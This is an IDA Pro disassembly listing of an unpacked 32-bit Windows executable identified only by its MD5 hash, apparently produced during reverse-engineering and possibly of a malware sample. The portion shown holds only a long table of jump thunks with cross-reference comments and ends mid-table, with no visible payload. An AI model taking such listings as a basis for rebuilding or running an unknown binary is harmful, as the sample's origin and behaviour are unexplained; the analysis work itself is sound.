; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2F19786E6B306DD3081DEE15B1C70B86 ; File Name : u:\work\2f19786e6b306dd3081dee15b1c70b86_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00036000 ( 221184.) ; Section size in file : 00036000 ( 221184.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _294ADE7B segment para public 'BSS' use32 assume cs:_294ADE7B ;org 401000h assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42A7D0 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: _8C6BDE73:off_437070o jmp loc_411A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_4201C0+29p jmp sub_420720 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_42C3F0 ; --------------------------------------------------------------------------- jmp loc_41F370 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: _294ADE7B:00411773p jmp sub_4117A0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: sub_40ACD0+4Dp ; sub_40ACD0+5Ap ... jmp sub_4067E0 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41E060+34p jmp sub_40AB60 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_403BE0+4DDp ; sub_404890+619p ... jmp sub_409B90 sub_40102D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401032 proc near ; CODE XREF: sub_4122A0+3Bp ; _294ADE7B:004138C0p jmp sub_414370 sub_401032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_42A9E0+6Ep ; sub_42A9E0+8Ap ... jmp sub_42E160 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: _294ADE7B:0042A0C2p ; sub_42A9E0+3Fp ... jmp sub_42E000 sub_40103C endp ; --------------------------------------------------------------------------- jmp loc_422030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401046 proc near ; CODE XREF: sub_416AE0+227p jmp sub_40BEC0 sub_401046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40104B proc near ; CODE XREF: sub_40AB60+3Ap ; sub_40ABD0+1Ap jmp sub_42DB20 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_41CC30+37Bp jmp sub_420300 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_40BC20+8p jmp sub_40BDE0 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_42CAA0+5Ap ; sub_42E890+50p jmp sub_42CA60 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; DATA XREF: _8C6BDE73:off_437054o jmp sub_41ACE0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; CODE XREF: _294ADE7B:00415A0Ap jmp sub_41E1A0 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: sub_40BAC0+32p jmp sub_40BC80 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40106E proc near ; CODE XREF: _294ADE7B:00415A1Ap jmp sub_4168E0 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: sub_4145C0+5Ep ; sub_415010+32p jmp sub_414F50 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401078 proc near ; CODE XREF: sub_41CC30+161p ; sub_420AB0+3p jmp sub_420120 sub_401078 endp ; --------------------------------------------------------------------------- jmp loc_419380 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401087 proc near ; CODE XREF: sub_420300+3p ; sub_420680+4Fp ... jmp sub_420840 sub_401087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_407220+Ap jmp sub_4072C0 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_422CE0+23p ; sub_422E80+6p ... jmp sub_422BF0 sub_401091 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401096 proc near ; CODE XREF: sub_42BDA0+F5p ; sub_42BDA0+14Fp jmp sub_42DF90 sub_401096 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_42E350+C8p jmp sub_42BB30 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; DATA XREF: _8C6BDE73:off_437074o jmp sub_41C890 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_416980+D0p ; sub_416AE0+2Dp jmp sub_417010 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_40EB00+8D9p ; sub_40EB00+990p ... jmp sub_4116F0 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; CODE XREF: sub_42A250+6Ap ; sub_42A250+7Ap ... jmp sub_42C0A0 sub_4010AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B4 proc near ; CODE XREF: sub_420420+9p ; sub_420910+18p jmp sub_420A90 sub_4010B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_40A550+58p ; sub_40A550+82p ... jmp sub_40A740 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_421170+3F1p ; _294ADE7B:00422196p ... jmp sub_4181B0 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: sub_414DA0+7p jmp sub_4153D0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_4142B0+4Fp ; sub_414C00+11p ... jmp sub_414E50 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_41FF40+1Fp jmp sub_420380 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_420680+11p ; sub_420680+27p ... jmp sub_420BA0 sub_4010D2 endp ; --------------------------------------------------------------------------- jmp loc_412AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_420100+3p ; sub_420420+4Fp ... jmp sub_4205E0 sub_4010DC endp ; --------------------------------------------------------------------------- jmp loc_413190 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E6 proc near ; CODE XREF: sub_4272C0+3p jmp sub_4272F0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_414790+11p ; sub_414790+27p ... jmp sub_415200 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_42E490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_420230+5p ; sub_420320+6p ... jmp sub_420820 sub_4010F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FA proc near ; CODE XREF: _294ADE7B:004157CBp ; _294ADE7B:00433948j ... jmp sub_4163B0 sub_4010FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_404890+6Ap ; sub_404890+1AFp ... jmp loc_411260 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; DATA XREF: _8C6BDE73:off_437088o jmp sub_4178D0 sub_401104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401109 proc near ; CODE XREF: sub_42AC40+F7p ; sub_42CBC0+6p ... jmp sub_42A620 sub_401109 endp ; --------------------------------------------------------------------------- jmp loc_429570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: _294ADE7B:0042238Dp jmp sub_421E50 sub_401113 endp ; --------------------------------------------------------------------------- jmp loc_42D0F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; CODE XREF: sub_413E00+38p jmp sub_414720 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401122 proc near ; CODE XREF: sub_41A020+F7p ; sub_41A020+10Bp ... jmp sub_409A00 sub_401122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401127 proc near ; CODE XREF: sub_409470+Ap jmp sub_409560 sub_401127 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40112C proc near ; CODE XREF: sub_412160+55p ; sub_412160+94p ... jmp sub_414500 sub_40112C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: _294ADE7B:00423893p ; _294ADE7B:0042457Dp ... jmp sub_421D20 sub_401131 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401136 proc near ; CODE XREF: _294ADE7B:0041394Ep jmp sub_4142B0 sub_401136 endp ; --------------------------------------------------------------------------- loc_40113B: ; DATA XREF: _8C6BDE73:off_437038o jmp loc_411770 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_414B60+11p ; sub_414B60+27p ... jmp sub_415380 sub_401140 endp ; --------------------------------------------------------------------------- jmp loc_41FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4171D0+23p ; sub_417440+11p jmp sub_417520 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_417080+3p ; sub_417550+54p ... jmp sub_4173A0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: sub_409160+6Ap ; sub_409160+103p jmp sub_409400 sub_401154 endp ; --------------------------------------------------------------------------- jmp loc_42D9E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40115E proc near ; CODE XREF: _294ADE7B:00412B0Dp jmp sub_412900 sub_40115E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: _294ADE7B:004188B4p jmp sub_419680 sub_401163 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401168 proc near ; CODE XREF: sub_412160+88p ; sub_413560+BFp ... jmp sub_4146C0 sub_401168 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_42A620+7p ; sub_42A690+19p ... jmp sub_42EA30 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_416AE0+119p jmp sub_40C8A0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: _294ADE7B:0042C24Ap jmp sub_42BBF0 sub_401177 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40117C proc near ; CODE XREF: sub_406E90+11p ; sub_407020+1Fp jmp sub_4070C0 sub_40117C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: sub_403360+3B5p ; sub_403360+3C5p ... jmp sub_403A20 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: sub_4202E0+3p jmp sub_420860 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_40BDB0+Ap jmp sub_40BE70 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401190 proc near ; CODE XREF: sub_403360+1Dp ; sub_406CE0+1Fp ... jmp sub_403890 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near ; CODE XREF: sub_411FB0+54p ; _294ADE7B:004333BCj ... jmp sub_414140 sub_401195 endp ; --------------------------------------------------------------------------- jmp loc_40AA60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119F proc near ; CODE XREF: _294ADE7B:0041395Dp jmp sub_413A00 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4072C0+7p ; sub_409560+7p ... jmp sub_4072F0 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_4122A0+73p ; _294ADE7B:004138FDp ... jmp sub_414390 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_41CC30+58p jmp sub_41EB00 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_412B30+84p jmp sub_412570 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B8 proc near ; CODE XREF: _294ADE7B:0042D5C8p jmp sub_42AF10 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_407170+8p jmp sub_407250 sub_4011BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011C2 proc near ; CODE XREF: sub_404890+9Fp ; sub_404890+230p ... jmp sub_409F90 sub_4011C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011C7 proc near ; CODE XREF: sub_40A2F0+21p ; sub_40A550+A5p jmp sub_40A530 sub_4011C7 endp ; --------------------------------------------------------------------------- jmp loc_40AAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_409F90+129p ; sub_40A370+4p ... jmp sub_40A340 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; DATA XREF: _8C6BDE73:off_4370BCo jmp sub_426860 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: _294ADE7B:0042D45Dp jmp sub_42AC10 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: sub_406FA0+3p ; sub_407020+4Fp ... jmp sub_407130 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_41BE00+346p ; sub_41BE00+410p ... jmp sub_41FF40 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_420180+11p ; sub_420680+1Fp jmp sub_4207B0 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EF proc near ; CODE XREF: sub_416AE0+D4p jmp loc_407440 sub_4011EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F4 proc near ; CODE XREF: sub_40BC80+5Fp jmp sub_40BE50 sub_4011F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_403190+F6p ; sub_403190+12Ep ... jmp sub_409790 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; CODE XREF: sub_41CC30+113p ; sub_41CC30+124p jmp sub_420100 sub_4011FE endp ; --------------------------------------------------------------------------- jmp loc_41DE30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: _294ADE7B:0041581Bp ; _294ADE7B:00433902j ... jmp sub_416200 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40120D proc near ; CODE XREF: sub_40AA20+Fp jmp sub_42B0F0 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401212 proc near ; CODE XREF: sub_4171D0+32p jmp sub_417440 sub_401212 endp ; --------------------------------------------------------------------------- jmp loc_42E6F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40121C proc near ; CODE XREF: sub_4141B0+5p ; sub_4143B0+6p ... jmp sub_414DC0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40B810+29p ; sub_40B930+29p jmp sub_40BAC0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_41CC30+3E9p ; _294ADE7B:0043492Bj jmp sub_4201C0 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_413260+BFp jmp sub_413FA0 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; CODE XREF: sub_415270+Ap jmp sub_4155B0 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: _294ADE7B:00415887p ; _294ADE7B:004338A3j ... jmp sub_415B00 sub_401235 endp ; --------------------------------------------------------------------------- jmp sub_417130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123F proc near ; CODE XREF: sub_416AE0+24Fp jmp sub_416980 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_413420 ; --------------------------------------------------------------------------- jmp loc_42A1D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40EB00+387p ; sub_41D500+21Dp ... jmp sub_419DB0 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401253 proc near ; CODE XREF: _294ADE7B:004159DAp jmp sub_416830 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_408FF0+8p jmp sub_409040 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_409160+A5p ; sub_4116A0+21p jmp sub_409370 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401262 proc near ; CODE XREF: sub_404890+385p ; sub_41BE00+5AAp jmp sub_41A700 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near ; CODE XREF: _294ADE7B:0041593Fp jmp sub_403360 sub_401267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40126C proc near ; CODE XREF: sub_417280+23p ; sub_417550+11p jmp sub_4176A0 sub_40126C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: sub_422F30+Cp ; sub_422F30+3Ep ... jmp sub_422A20 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_42A810 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40127B proc near ; CODE XREF: sub_403BE0+4C1p ; sub_404890+860p ... jmp sub_409DF0 sub_40127B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: _294ADE7B:00429CB6p ; _294ADE7B:00429D06p ... jmp sub_42C630 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: sub_41CC30+367p ; sub_41CC30+3D4p ... jmp sub_420350 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; DATA XREF: sub_426E00+107o jmp sub_427080 sub_40128A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128F proc near ; CODE XREF: sub_422E10+18p ; sub_422E50+Ap ... jmp sub_422DC0 sub_40128F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401294 proc near ; CODE XREF: sub_414EB0+9p ; sub_414F50+18p jmp sub_415560 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; DATA XREF: sub_42C420+32o jmp sub_42CC20 sub_401299 endp ; --------------------------------------------------------------------------- jmp loc_429D00 ; --------------------------------------------------------------------------- jmp loc_418280 ; --------------------------------------------------------------------------- jmp loc_41E4C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012AD proc near ; CODE XREF: _294ADE7B:0042A098p ; sub_42A250+2p ... jmp sub_42B410 sub_4012AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_412400+3Fp ; sub_413260+40p ... jmp sub_413EF0 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: sub_404260+19Fp ; sub_404260+212p ... jmp sub_409A50 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_423580+B5p ; sub_423580+F1p jmp sub_423510 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; CODE XREF: _294ADE7B:00423837p jmp sub_423580 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_42B570+1p jmp sub_42B600 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: _294ADE7B:00426532p jmp sub_4267F0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; CODE XREF: sub_416980+71p ; sub_416980+BBp ... jmp sub_416FE0 sub_4012D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D5 proc near ; CODE XREF: sub_409C00+7p jmp sub_409C20 sub_4012D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DA proc near ; CODE XREF: _294ADE7B:0042C878p ; sub_42C8D0+2Bp jmp sub_42CAA0 sub_4012DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42C420+1p jmp sub_42C660 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E4 proc near ; CODE XREF: sub_41EDB0+37Bp jmp sub_4202A0 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_4130F0+5Bp jmp sub_413DC0 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_414140+29p ; sub_414260+29p jmp sub_414CC0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: _294ADE7B:0042FA72p ; _294ADE7B:0042FA82p ... jmp sub_42F930 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_412160+5Fp ; sub_412160+9Ep ... jmp sub_4146F0 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: sub_40B080+62p ; _294ADE7B:0040B548p ... jmp sub_40B9C0 sub_4012FD endp ; --------------------------------------------------------------------------- jmp loc_42B260 ; --------------------------------------------------------------------------- jmp loc_429DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: sub_414E20+8p jmp sub_415440 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_412160+71p ; sub_412160:loc_41222Cp ... jmp sub_4146A0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_416980+AFp ; sub_4176A0+3p jmp sub_4170A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; DATA XREF: _8C6BDE73:004370E4o jmp sub_426E00 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_40B080+39p ; sub_40B080+78p ... jmp sub_40B9F0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401325 proc near ; CODE XREF: sub_425400+29p ; sub_425400+38p jmp sub_425310 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132A proc near ; CODE XREF: sub_418BD0+1Cp jmp sub_418C10 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_407E8F+8F2p ; _294ADE7B:00413211p jmp sub_412FC0 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: sub_416AE0+72p jmp sub_4068E0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_409880+7p ; sub_4099D0+7p ... jmp sub_40A260 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; DATA XREF: _8C6BDE73:off_437058o jmp sub_421170 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_412870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401348 proc near ; CODE XREF: sub_416EF0+11p ; sub_420380+1Fp jmp sub_417310 sub_401348 endp ; --------------------------------------------------------------------------- jmp loc_429D50 ; --------------------------------------------------------------------------- jmp loc_4137F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_406F40+1Fp jmp sub_407020 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_423DF0+47Fp jmp sub_4239C0 sub_40135C endp ; --------------------------------------------------------------------------- jmp loc_429950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; CODE XREF: sub_4114B0+3p ; _294ADE7B:0041580Bp ... jmp sub_4114E0 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_424ED0+Cp ; sub_425040+Ap ... jmp sub_424E90 sub_40136B endp ; --------------------------------------------------------------------------- jmp loc_40C070 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_4239C0+E9p ; sub_4239C0+116p ... jmp sub_423970 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; CODE XREF: sub_40A420+20p jmp sub_40A550 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137F proc near ; CODE XREF: sub_40EB00+AFDp ; sub_40EB00+E71p ... jmp sub_40AA20 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401384 proc near ; CODE XREF: sub_404890+8EFp ; sub_404890+8F8p ... jmp sub_409DD0 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_420680+5Ap jmp sub_420C10 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; CODE XREF: sub_404260+87p ; sub_40EB00+9B0p ... jmp sub_409CC0 sub_40138E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401393 proc near ; CODE XREF: sub_426E00+12Ep jmp sub_418620 sub_401393 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401398 proc near ; CODE XREF: sub_41CC30+35Dp ; sub_41CC30+3CAp ... jmp sub_420270 sub_401398 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40139D proc near ; CODE XREF: sub_417360+7p jmp sub_417660 sub_40139D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013A2 proc near ; CODE XREF: sub_414F50+5Fp jmp sub_415520 sub_4013A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013A7 proc near ; DATA XREF: _8C6BDE73:off_4370A4o jmp sub_419A70 sub_4013A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013AC proc near ; CODE XREF: sub_414450+29p ; sub_414570+29p jmp sub_415010 sub_4013AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013B1 proc near ; CODE XREF: sub_412B30+19Ap jmp sub_414530 